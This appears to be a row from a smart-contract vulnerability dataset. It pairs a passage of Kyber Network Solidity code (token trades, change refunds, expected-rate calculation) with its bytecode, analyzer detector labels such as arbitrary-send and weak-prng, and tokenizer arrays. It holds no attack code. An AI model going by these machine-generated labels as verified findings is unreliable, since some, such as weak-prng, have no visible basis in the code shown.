findBestRateTokenToToken(tradeInput.src, tradeInput.dest, tradeInput.srcAmount, tradeInput.hint); require(rateResult.rate > 0); require(rateResult.rate < MAX_RATE); require(rateResult.rate >= tradeInput.minConversionRate); uint actualDestAmount; uint weiAmount; uint actualSrcAmount; (actualSrcAmount, weiAmount, actualDestAmount) = calcActualAmounts(tradeInput.src, tradeInput.dest, tradeInput.srcAmount, tradeInput.maxDestAmount, rateResult); require(getUserCapInWei(tradeInput.trader) >= weiAmount); require(handleChange(tradeInput.src, tradeInput.srcAmount, actualSrcAmount, tradeInput.trader)); require(doReserveTrade( //src to ETH tradeInput.src, actualSrcAmount, ETH_TOKEN_ADDRESS, this, weiAmount, KyberReserveInterface(rateResult.reserve1), rateResult.rateSrcToEth, true)); require(doReserveTrade( //Eth to dest ETH_TOKEN_ADDRESS, weiAmount, tradeInput.dest, tradeInput.destAddress, actualDestAmount, KyberReserveInterface(rateResult.reserve2), rateResult.rateEthToDest, true)); if (tradeInput.src != ETH_TOKEN_ADDRESS) //"fake" trade. (ether to ether) - don't burn. require(feeBurnerContract.handleFees(weiAmount, rateResult.reserve1, tradeInput.walletId)); if (tradeInput.dest != ETH_TOKEN_ADDRESS) //"fake" trade. (ether to ether) - don't burn. require(feeBurnerContract.handleFees(weiAmount, rateResult.reserve2, tradeInput.walletId)); KyberTrade({ trader: tradeInput.trader, src: tradeInput.src, dest: tradeInput.dest, srcAmount: actualSrcAmount, dstAmount: actualDestAmount, destAddress: tradeInput.destAddress, ethWeiValue: weiAmount, reserve1: (tradeInput.src == ETH_TOKEN_ADDRESS) ? address(0) : rateResult.reserve1, reserve2: (tradeInput.dest == ETH_TOKEN_ADDRESS) ? address(0) : rateResult.reserve2, hint: tradeInput.hint }); return actualDestAmount; } /* solhint-enable function-max-lines */ function calcActualAmounts (ERC20 src, ERC20 dest, uint srcAmount, uint maxDestAmount, BestRateResult rateResult) internal view returns(uint actualSrcAmount, uint weiAmount, uint actualDestAmount) { if (rateResult.destAmount > maxDestAmount) { actualDestAmount = maxDestAmount; weiAmount = calcSrcAmount(ETH_TOKEN_ADDRESS, dest, actualDestAmount, rateResult.rateEthToDest); actualSrcAmount = calcSrcAmount(src, ETH_TOKEN_ADDRESS, weiAmount, rateResult.rateSrcToEth); require(actualSrcAmount <= srcAmount); } else { actualDestAmount = rateResult.destAmount; actualSrcAmount = srcAmount; weiAmount = rateResult.weiAmount; } } /// @notice use token address ETH_TOKEN_ADDRESS for ether /// @dev do one trade with a reserve /// @param src Src token /// @param amount amount of src tokens /// @param dest Destination token /// @param destAddress Address to send tokens to /// @param reserve Reserve to use /// @param validate If true, additional validations are applicable /// @return true if trade is successful function doReserveTrade( ERC20 src, uint amount, ERC20 dest, address destAddress, uint expectedDestAmount, KyberReserveInterface reserve, uint conversionRate, bool validate ) internal returns(bool) { uint callValue = 0; if (src == dest) { //this is for a "fake" trade when both src and dest are ethers. if (destAddress != (address(this))) destAddress.transfer(amount); return true; } if (src == ETH_TOKEN_ADDRESS) { callValue = amount; } // reserve sends tokens/eth to network. network sends it to destination require(reserve.trade.value(callValue)(src, amount, dest, this, conversionRate, validate)); if (destAddress != address(this)) { //for token to token dest address is network. and Ether / token already here... if (dest == ETH_TOKEN_ADDRESS) { destAddress.transfer(expectedDestAmount); } else { require(dest.transfer(destAddress, expectedDestAmount)); } } return true; } /// when user sets max dest amount we could have too many source tokens == change. so we send it back to user. function handleChange (ERC20 src, uint srcAmount, uint requiredSrcAmount, address trader) internal returns (bool) { if (requiredSrcAmount < srcAmount) { //if there is "change" send back to trader if (src == ETH_TOKEN_ADDRESS) { trader.transfer(srcAmount - requiredSrcAmount); } else { require(src.transfer(trader, (srcAmount - requiredSrcAmount))); } } return true; } /// @notice use token address ETH_TOKEN_ADDRESS for ether /// @dev checks that user sent ether/tokens to contract before trade /// @param src Src token /// @param srcAmount amount of src tokens /// @return true if tradeInput is valid function validateTradeInput(ERC20 src, uint srcAmount, ERC20 dest, address destAddress) internal view returns(bool) { require(srcAmount <= MAX_QTY); require(srcAmount != 0); require(destAddress != address(0)); require(src != dest); if (src == ETH_TOKEN_ADDRESS) { require(msg.value == srcAmount); } else { require(msg.value == 0); //funds should have been moved to this contract already. require(src.balanceOf(this) >= srcAmount); } return true; } } // File: contracts/ExpectedRate.sol contract ExpectedRate is Withdrawable, ExpectedRateInterface, Utils2 { KyberNetwork public kyberNetwork; uint public quantityFactor = 2; uint public worstCaseRateFactorInBps = 50; function ExpectedRate(KyberNetwork _kyberNetwork, address _admin) public { require(_admin != address(0)); require(_kyberNetwork != address(0)); kyberNetwork = _kyberNetwork; admin = _admin; } event QuantityFactorSet (uint newFactor, uint oldFactor, address sender); function setQuantityFactor(uint newFactor) public onlyOperator { require(newFactor <= 100); QuantityFactorSet(newFactor, quantityFactor, msg.sender); quantityFactor = newFactor; } event MinSlippageFactorSet (uint newMin, uint oldMin, address sender); function setWorstCaseRateFactor(uint bps) public onlyOperator { require(bps <= 100 * 100); MinSlippageFactorSet(bps, worstCaseRateFactorInBps, msg.sender); worstCaseRateFactorInBps = bps; } //@dev when srcQty too small or 0 the expected rate will be calculated without quantity, // will enable rate reference before committing to any quantity //@dev when srcQty too small (no actual dest qty) slippage rate will be 0. function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty, bool usePermissionless) public view returns (uint expectedRate, uint slippageRate) { require(quantityFactor != 0); require(srcQty <= MAX_QTY); require(srcQty * quantityFactor <= MAX_QTY); if (srcQty == 0) srcQty = 1; uint bestReserve; uint worstCaseSlippageRate; if (usePermissionless) { (bestReserve, expectedRate) = kyberNetwork.findBestRate(src, dest, srcQty); (bestReserve, slippageRate) = kyberNetwork.findBestRate(src, dest, (srcQty * quantityFactor)); } else { (bestReserve, expectedRate) = kyberNetwork.findBestRateOnlyPermission(src, dest, srcQty); (bestReserve, slippageRate) = kyberNetwork.findBestRateOnlyPermission(src, dest, (srcQty * quantityFactor)); } if (expectedRate == 0) { expectedRate = expectedRateSmallQty(src, dest, srcQty, usePermissionless); } require(expectedRate <= MAX_RATE); worstCaseSlippageRate = ((10000 - worstCaseRateFactorInBps) * expectedRate) / 10000; if (slippageRate >= worstCaseSlippageRate) { slippageRate = worstCaseSlippageRate; } return (expectedRate, slippageRate); } //@dev for small src quantities dest qty might be 0, then returned rate is zero. //@dev for backward compatibility we would like to return non zero rate (correct one) for small src qty function expectedRateSmallQty(ERC20 src, ERC20 dest, uint srcQty, bool usePermissionless) internal view returns(uint) { address reserve; uint rateSrcToEth; uint rateEthToDest; (reserve, rateSrcToEth) = kyberNetwork.searchBestRate(src, ETH_TOKEN_ADDRESS, srcQty, usePermissionless); uint ethQty = calcDestAmount(src, ETH_TOKEN_ADDRESS, srcQty, rateSrcToEth); (reserve, rateEthToDest) = kyberNetwork.searchBestRate(ETH_TOKEN_ADDRESS, dest, ethQty, usePermissionless); return rateSrcToEth * rateEthToDest / PRECISION; } }
0x6060604052600436106100f85763ffffffff60e060020a60003504166301a12fd381146100fd578063267822471461011e57806327a099d81461014d5780633ccdbb28146101b3578063408ee7fe146101dc57806375829def146101fb5780637658c5741461021a57806377f50f97146102305780637acc8678146102435780637c423f54146102625780639870d7fe146102755780639bc72d5f14610294578063a7de9c63146102b9578063ac8a584a146102cc578063b78b842d146102eb578063ce56c454146102fe578063d38d2bea14610320578063d4fac45d14610365578063dcb46e381461038a578063f851a440146103a0575b600080fd5b341561010857600080fd5b61011c600160a060020a03600435166103b3565b005b341561012957600080fd5b610131610523565b604051600160a060020a03909116815260200160405180910390f35b341561015857600080fd5b610160610532565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561019f578082015183820152602001610187565b505050509050019250505060405180910390f35b34156101be57600080fd5b61011c600160a060020a03600435811690602435906044351661059b565b34156101e757600080fd5b61011c600160a060020a0360043516610692565b341561020657600080fd5b61011c600160a060020a036004351661078e565b341561022557600080fd5b61011c600435610829565b341561023b57600080fd5b61011c6108b5565b341561024e57600080fd5b61011c600160a060020a036004351661094f565b341561026d57600080fd5b610160610a31565b341561028057600080fd5b61011c600160a060020a0360043516610a97565b341561029f57600080fd5b6102a7610b67565b60405190815260200160405180910390f35b34156102c457600080fd5b6102a7610b6d565b34156102d757600080fd5b61011c600160a060020a0360043516610b73565b34156102f657600080fd5b610131610cdf565b341561030957600080fd5b61011c600435600160a060020a0360243516610cee565b341561032b57600080fd5b61034d600160a060020a03600435811690602435166044356064351515610d81565b60405191825260208201526040908101905180910390f35b341561037057600080fd5b6102a7600160a060020a036004358116906024351661108f565b341561039557600080fd5b61011c600435611141565b34156103ab57600080fd5b6101316111ce565b6000805433600160a060020a039081169116146103cf57600080fd5b600160a060020a03821660009081526003602052604090205460ff1615156103f657600080fd5b50600160a060020a0381166000908152600360205260408120805460ff191690555b60055481101561051f5781600160a060020a031660058281548110151561043b57fe5b600091825260209091200154600160a060020a031614156105175760058054600019810190811061046857fe5b60009182526020909120015460058054600160a060020a03909216918390811061048e57fe5b60009182526020909120018054600160a060020a031916600160a060020a039290921691909117905560058054906104ca9060001983016114f5565b507f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762826000604051600160a060020a039092168252151560208201526040908101905180910390a161051f565b600101610418565b5050565b600154600160a060020a031681565b61053a61151e565b600480548060200260200160405190810160405280929190818152602001828054801561059057602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610572575b505050505090505b90565b60005433600160a060020a039081169116146105b657600080fd5b82600160a060020a031663a9059cbb828460006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561061357600080fd5b6102c65a03f1151561062457600080fd5b50505060405180519050151561063957600080fd5b7f72cb8a894ddb372ceec3d2a7648d86f17d5a15caae0e986c53109b8a9a9385e6838383604051600160a060020a03938416815260208101929092529091166040808301919091526060909101905180910390a1505050565b60005433600160a060020a039081169116146106ad57600080fd5b600160a060020a03811660009081526003602052604090205460ff16156106d357600080fd5b600554603290106106e357600080fd5b7f5611bf3e417d124f97bf2c788843ea8bb502b66079fbee02158ef30b172cb762816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600360205260409020805460ff19166001908117909155600580549091810161076283826114f5565b5060009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a039081169116146107a957600080fd5b600160a060020a03811615156107be57600080fd5b6001547f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4090600160a060020a0316604051600160a060020a03909116815260200160405180910390a160018054600160a060020a031916600160a060020a0392909216919091179055565b600160a060020a03331660009081526002602052604090205460ff16151561085057600080fd5b606481111561085e57600080fd5b7fd0f6fc40d497232b5aab1b7a34ea00ea45886e52d2fed39ad62af798a870fae381600854336040519283526020830191909152600160a060020a03166040808301919091526060909101905180910390a1600855565b60015433600160a060020a039081169116146108d057600080fd5b6001546000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed91600160a060020a039081169116604051600160a060020a039283168152911660208201526040908101905180910390a16001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60005433600160a060020a0390811691161461096a57600080fd5b600160a060020a038116151561097f57600080fd5b7f3b81caf78fa51ecbc8acb482fd7012a277b428d9b80f9d156e8a54107496cc4081604051600160a060020a03909116815260200160405180910390a16000547f65da1cfc2c2e81576ad96afb24a581f8e109b7a403b35cbd3243a1c99efdb9ed908290600160a060020a0316604051600160a060020a039283168152911660208201526040908101905180910390a160008054600160a060020a031916600160a060020a0392909216919091179055565b610a3961151e565b600580548060200260200160405190810160405280929190818152602001828054801561059057602002820191906000526020600020908154600160a060020a03168152600190910190602001808311610572575050505050905090565b60005433600160a060020a03908116911614610ab257600080fd5b600160a060020a03811660009081526002602052604090205460ff1615610ad857600080fd5b60045460329010610ae857600080fd5b7f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b816001604051600160a060020a039092168252151560208201526040908101905180910390a1600160a060020a0381166000908152600260205260409020805460ff19166001908117909155600480549091810161076283826114f5565b60095481565b60085481565b6000805433600160a060020a03908116911614610b8f57600080fd5b600160a060020a03821660009081526002602052604090205460ff161515610bb657600080fd5b50600160a060020a0381166000908152600260205260408120805460ff191690555b60045481101561051f5781600160a060020a0316600482815481101515610bfb57fe5b600091825260209091200154600160a060020a03161415610cd757600480546000198101908110610c2857fe5b60009182526020909120015460048054600160a060020a039092169183908110610c4e57fe5b60009182526020909120018054600160a060020a031916600160a060020a0392909216919091179055600480546000190190610c8a90826114f5565b507f091a7a4b85135fdd7e8dbc18b12fabe5cc191ea867aa3c2e1a24a102af61d58b826000604051600160a060020a039092168252151560208201526040908101905180910390a161051f565b600101610bd8565b600754600160a060020a031681565b60005433600160a060020a03908116911614610d0957600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f193505050501515610d3a57600080fd5b7fec47e7ed86c86774d1a72c19f35c639911393fe7c1a34031fdbd260890da90de8282604051918252600160a060020a031660208201526040908101905180910390a15050565b600080600080600854600014151515610d9957600080fd5b6b204fce5e3e25026110000000861115610db257600080fd5b6008546b204fce5e3e250261100000009087021115610dd057600080fd5b851515610ddc57600195505b8415610f1357600754600160a060020a031663b8388aca89898960006040516040015260405160e060020a63ffffffff8616028152600160a060020a03938416600482015291909216602482015260448101919091526064016040805180830381600087803b1515610e4d57600080fd5b6102c65a03f11515610e5e57600080fd5b5050506040518051906020018051600754600854919750929450600160a060020a039092169163b8388aca91508a908a908a0260006040516040015260405160e060020a63ffffffff8616028152600160a060020a03938416600482015291909216602482015260448101919091526064016040805180830381600087803b1515610ee857600080fd5b6102c65a03f11515610ef957600080fd5b5050506040518051906020018051945090925061103f9050565b600754600160a060020a0316631dc1f78d89898960006040516040015260405160e060020a63ffffffff8616028152600160a060020a03938416600482015291909216602482015260448101919091526064016040805180830381600087803b1515610f7e57600080fd5b6102c65a03f11515610f8f57600080fd5b5050506040518051906020018051600754600854919750929450600160a060020a0390921691631dc1f78d91508a908a908a0260006040516040015260405160e060020a63ffffffff8616028152600160a060020a03938416600482015291909216602482015260448101919091526064016040805180830381600087803b151561101957600080fd5b6102c65a03f1151561102a57600080fd5b50505060405180519060200180519450909250505b83151561105557611052888888886111dd565b93505b69d3c21bcecceda100000084111561106c57600080fd5b50600954612710908103840204808310611084578092505b505094509492505050565b6000600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156110c75750600160a060020a0381163161113b565b82600160a060020a03166370a082318360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561111e57600080fd5b6102c65a03f1151561112f57600080fd5b50505060405180519150505b92915050565b600160a060020a03331660009081526002602052604090205460ff16151561116857600080fd5b61271081111561117757600080fd5b7f4357e20f1241d972328c5b3239d9ef4ac96f0f4fce8e10fd3bf9053690dad0ac81600954336040519283526020830191909152600160a060020a03166040808301919091526060909101905180910390a1600955565b600054600160a060020a031681565b6007546000908190819081908190600160a060020a0316630c235d968a73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee8a8a866040516040015260405160e060020a63ffffffff8716028152600160a060020a039485166004820152929093166024830152604482015290151560648201526084016040805180830381600087803b151561126c57600080fd5b6102c65a03f1151561127d57600080fd5b50505060405180519060200180519195509093506112b390508973eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee8986611377565b600754909150600160a060020a0316630c235d9673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee8a848a60006040516040015260405160e060020a63ffffffff8716028152600160a060020a039485166004820152929093166024830152604482015290151560648201526084016040805180830381600087803b151561133b57600080fd5b6102c65a03f1151561134c57600080fd5b5050506040518051906020018051670de0b6b3a76400009502949094049a9950505050505050505050565b600061139583611386876113a0565b61138f876113a0565b85611464565b90505b949350505050565b600080600160a060020a03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156113d1576012915061145e565b50600160a060020a03821660009081526006602052604090205480151561145a5782600160a060020a031663313ce5676000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561143857600080fd5b6102c65a03f1151561144957600080fd5b50505060405180519050915061145e565b8091505b50919050565b60006b204fce5e3e2502611000000085111561147f57600080fd5b69d3c21bcecceda100000082111561149657600080fd5b8383106114c957601284840311156114ad57600080fd5b670de0b6b3a7640000858302858503600a0a025b049050611398565b601283850311156114d957600080fd5b828403600a0a670de0b6b3a7640000028286028115156114c157fe5b81548183558181151161151957600083815260209020611519918101908301611530565b505050565b60206040519081016040526000815290565b61059891905b8082111561154a5760008155600101611536565b50905600a165627a7a72305820fd0341c782f377081e08be6e7d01ca4d170615cdcbe92d53527fa2239b9d22580029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'write-after-write', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2497, 2575, 18613, 21472, 2094, 2575, 21619, 22025, 2094, 2683, 19841, 2063, 2575, 18827, 21486, 22203, 21486, 2487, 2094, 2620, 2620, 22907, 2094, 2575, 2683, 2050, 2629, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 5371, 1024, 8311, 1013, 9413, 2278, 11387, 18447, 2121, 12172, 1012, 14017, 1013, 1013, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 8278, 9413, 2278, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 4425, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 1035, 3954, 1007, 2270, 3193, 5651, 1006, 21318, 3372, 5703, 1007, 1025, 3853, 4651, 1006, 4769, 1035, 2000, 1010, 21318, 3372, 1035, 3643, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]